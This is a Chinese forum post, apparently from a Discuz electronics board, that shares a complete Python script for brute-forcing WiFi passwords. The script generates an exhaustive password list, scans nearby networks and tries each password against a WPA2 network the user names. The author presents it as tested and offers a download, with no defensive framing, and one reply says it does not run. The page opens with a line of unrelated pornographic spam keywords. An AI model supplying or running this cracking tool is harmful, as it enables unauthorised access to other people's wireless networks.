欧美极品高清xxxxhd,国产日产欧美最新,无码AV国产东京热AV无码,国产精品人与动性XXX,国产传媒亚洲综合一区二区,四库影院永久国产精品,毛片免费免费高清视频,福利所导航夜趣136
標(biāo)題:
Python實(shí)現(xiàn)窮舉WiFi密碼
[打印本頁]
作者:
yezi100
時(shí)間:
2021-2-10 09:29
標(biāo)題:
Python實(shí)現(xiàn)窮舉WiFi密碼
通過Python腳本實(shí)現(xiàn)窮舉獲取WiFi密碼
屏幕截圖 2021-02-10 092722.jpg
(242.28 KB, 下載次數(shù): 80)
下載附件
2021-2-10 09:27 上傳
# -*- coding: utf-8 -*-
import time
import pywifi
from pywifi import const
import itertools as its
maclist = []
wificount=15
def product_passwd(length):
words = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
r = its.product(words,repeat=length)
dic = open('paswwer.txt','a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密碼本生成完畢!')
product_passwd(input("請輸入要生成的密碼本密碼長度:"))
def getwifi():
wifi=pywifi.PyWiFi()
ifaces=wifi.interfaces()[0]
ifaces.scan()
time.sleep(3)
result = ifaces.scan_results()
n=0
print("%12s%20s%20s"%("【無線名稱】","【mac地址】","【信號強(qiáng)度】"))
print("="*60)
for data in result:
if(data.bssid not in maclist):
maclist.append(data.bssid)
if n<=wificount:
print("%14s%30s%15s"%(data.ssid,data.bssid,data.signal))
n=n+1
time.sleep(2)
print("="*60)
class PoJie():
def __init__(self, path):
self.file = open(path, "r", errors="ignore")
wifi = pywifi.PyWiFi()
self.iface = wifi.interfaces()[0]
print("獲取到的無線網(wǎng)卡:")
print(self.iface.name())
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def readPassWord(self):
print("開始破解:")
while True:
try:
passStr = str(self.file.readline())
print(" 正在嘗試:" + passStr)
if not passStr:
break
bool1 = self.test_connect(passStr)
if bool1:
print("恭喜你,找到密碼! 正確密碼為:" + passStr)
break
else:
print(" 密碼錯(cuò)誤!\n","="*35)
time.sleep(3)
except:
continue
with open('result.txt','a+') as fw:
fw.write('WiFi名稱:%s 密碼:%s'%(wifiname,passStr))
def test_connect(self, findStr):
profile = pywifi.Profile()
profile.ssid = wifiname
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = findStr
self.iface.remove_all_network_profiles()
tmp_profile = self.iface.add_network_profile(profile)
self.iface.connect(tmp_profile)
time.sleep(3)
if self.iface.status() == const.IFACE_CONNECTED:
isOK = True
else:
isOK = False
self.iface.disconnect()
time.sleep(1)
return isOK
def __del__(self):
self.file.close()
getwifi()
wifiname = input("請輸入要破解的WiFi名稱:") # wifi名稱)
path = input('請輸入字典文件路徑:')
#r"D://Data/Python/wifi/dictionary.txt"
start = PoJie(path)
start.readPassWord()
復(fù)制代碼
代碼已測試過,可正常運(yùn)行
以上程序51hei下載地址:
wifi.zip
(5.76 KB, 下載次數(shù): 60)
2021-2-10 09:29 上傳
點(diǎn)擊文件名下載附件
源代碼
下載積分: 黑幣 -5
作者:
15236966302
時(shí)間:
2021-6-9 17:36
沒辦法運(yùn)行
歡迎光臨 (http://www.raoushi.com/bbs/)
Powered by Discuz! X3.1